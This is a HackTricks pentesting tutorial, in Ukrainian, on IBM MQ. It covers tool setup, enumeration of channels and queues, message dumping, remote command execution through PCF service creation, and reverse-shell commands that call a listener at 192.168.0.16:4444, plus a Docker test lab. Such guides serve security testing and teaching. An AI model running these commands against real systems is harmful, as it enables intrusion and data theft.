hacktricks/src/network-services-pentesting/1414-pentesting-ibmmq.md

334 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1414 - Pentesting IBM MQ
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
IBM MQ - це технологія IBM для управління чергами повідомлень. Як і інші **технології брокерів повідомлень**, вона призначена для отримання, зберігання, обробки та класифікації інформації між виробниками та споживачами.
За замовчуванням, **вона відкриває TCP порт IBM MQ 1414**. Іноді HTTP REST API може бути відкрито на порту **9443**. Метрики (Prometheus) також можуть бути доступні з TCP порту **9157**.
TCP порт IBM MQ 1414 може бути використаний для маніпуляцій з повідомленнями, чергами, каналами, ... але **також для контролю інстанції**.
IBM надає велику технічну документацію, доступну на [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
## Інструменти
Рекомендований інструмент для легкого експлуатації - це **[punch-q](https://github.com/sensepost/punch-q)**, з використанням Docker. Інструмент активно використовує бібліотеку Python `pymqi`.
Для більш ручного підходу використовуйте бібліотеку Python **[pymqi](https://github.com/dsuch/pymqi)**. [Залежності IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) потрібні.
### Встановлення pymqi
Потрібно встановити та завантажити **залежності IBM MQ**:
1. Створіть обліковий запис (IBMid) на [https://login.ibm.com/](https://login.ibm.com/).
2. Завантажте бібліотеки IBM MQ з [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Для Linux x86_64 це **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
3. Розпакуйте (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Запустіть `sudo ./mqlicense.sh`, щоб прийняти умови ліцензії.
> Якщо ви використовуєте Kali Linux, змініть файл `mqlicense.sh`: видаліть/закоментуйте наступні рядки (між рядками 105-110):
>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> fi
> ```
5. Встановіть ці пакети:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. Потім тимчасово додайте файли `.so` до LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **перед** запуском інших інструментів, що використовують ці залежності.
Потім ви можете клонувати проект [**pymqi**](https://github.com/dsuch/pymqi): він містить цікаві фрагменти коду, константи, ... Або ви можете безпосередньо встановити бібліотеку за допомогою: `pip install pymqi`.
### Використання punch-q
#### З Docker
Просто використовуйте: `sudo docker run --rm -ti leonjza/punch-q`.
#### Без Docker
Клонуйте проект [**punch-q**](https://github.com/sensepost/punch-q), а потім дотримуйтесь інструкцій у readme для установки (`pip install -r requirements.txt && python3 setup.py install`).
Після цього його можна використовувати з командою `punch-q`.
## Перерахування
Ви можете спробувати перерахувати **ім'я менеджера черги, користувачів, канали та черги** за допомогою **punch-q** або **pymqi**.
### Менеджер черги
Іноді немає захисту від отримання імені менеджера черги:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### Канали
**punch-q** використовує внутрішній (модифікований) список слів для знаходження існуючих каналів. Приклад використання:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
Виявляється, що деякі екземпляри IBM MQ приймають **неаутентифіковані** запити MQ, тому `--username / --password` не потрібні. Звичайно, права доступу також можуть варіюватися.
Як тільки ми отримаємо одне ім'я каналу (тут: `DEV.ADMIN.SVRCONN`), ми можемо перерахувати всі інші канали.
Перерахунок в основному можна виконати за допомогою цього фрагмента коду `code/examples/dis_channels.py` з **pymqi**:
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... Але **punch-q** також вбудовує цю частину (з більшою кількістю інформації!).
Його можна запустити за допомогою:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### Черги
Є фрагмент коду з **pymqi** (`dis_queues.py`), але **punch-q** дозволяє отримати більше інформації про черги:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Exploit
### Dump messages
Ви можете націлити чергу(и)/канал(и), щоб перехопити / скинути повідомлення з них (неконструктивна операція). риклади:_
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Не соромтеся ітерувати всі виявлені черги.**
### Виконання коду
> Деякі деталі перед продовженням: IBM MQ можна контролювати кількома способами: MQSC, PCF, Control Command. Деякі загальні списки можна знайти в [документації IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Програмовані формати команд_**) - це те, на чому ми зосереджені для віддаленої взаємодії з екземпляром. **punch-q** і, крім того, **pymqi** базуються на взаємодії з PCF.
>
> Ви можете знайти список команд PCF:
>
> - [З документації PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), та
> - [з констант](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> Однією цікавою командою є `MQCMD_CREATE_SERVICE`, а її документація доступна [тут](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Вона приймає як аргумент `StartCommand`, що вказує на локальну програму на екземплярі (приклад: `/bin/sh`).
>
> У документації також є попередження про команду: _"Увага: ця команда дозволяє користувачу виконувати довільну команду з правами mqm. Якщо надано права на використання цієї команди, зловмисний або недбалий користувач може визначити сервіс, який пошкодить ваші системи або дані, наприклад, видаливши важливі файли."_
>
> _Примітка: завжди відповідно до документації IBM MQ (Довідник з адміністрування) також є HTTP-інтерфейс за адресою `/admin/action/qmgr/{qmgrName}/mqsc` для виконання еквівалентної команди MQSC для створення сервісу (`DEFINE SERVICE`). Цей аспект ще не розглянуто тут._
Створення / видалення сервісу з PCF для віддаленого виконання програми може бути виконано за допомогою **punch-q**:
**Приклад 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> У журналах IBM MQ ви можете прочитати, що команда успішно виконана:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: Команда '808544aa7fc94c48' розпочата. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
Ви також можете перерахувати існуючі програми на машині (тут `/bin/doesnotexist` ... не існує):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Зверніть увагу, що запуск програми є асинхронним. Тому вам потрібен другий елемент для використання експлойту** **_(слухач для зворотного шеллу, створення файлу на різному сервісі, ексфільтрація даних через мережу ...)_**
**Приклад 2**
Для простого зворотного шеллу **punch-q** також пропонує два корисних навантаження для зворотного шеллу:
- Одне з bash
- Одне з perl
_Звичайно, ви можете створити власне з використанням команди `execute`._
Для bash:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Для perl:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### Custom PCF
Ви можете ознайомитися з документацією IBM MQ і безпосередньо використовувати бібліотеку **pymqi** для тестування конкретної команди PCF, яка не реалізована в **punch-q**.
**Example:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
Якщо ви не можете знайти імена констант, ви можете звернутися до [документації IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
> риклад для [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Десяткове = 73). Він потребує параметра `MQCA_CLUSTER_NAME` (Десяткове = 2029), який може бути `_` (Док: ):\*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## Тестове середовище
Якщо ви хочете протестувати поведінку IBM MQ та експлойти, ви можете налаштувати локальне середовище на основі Docker:
1. Мати обліковий запис на ibm.com та cloud.ibm.com.
2. Створити контейнеризований IBM MQ з:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
За замовчуванням автентифікація увімкнена, ім'я користувача `admin`, а пароль `passw0rd` (змінна середовища `MQ_ADMIN_PASSWORD`). Тут ім'я менеджера черг встановлено на `MYQUEUEMGR` (змінна `MQ_QMGR_NAME`).
Вам потрібно, щоб IBM MQ працював і його порти були відкриті:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> Стара версія образів IBM MQ docker доступна за адресою: https://hub.docker.com/r/ibmcom/mq/.
## Посилання
- [mgeeky's gist - "Практичні нотатки з пенетрування IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
- [Документація IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
{{#include ../banners/hacktricks-training.md}}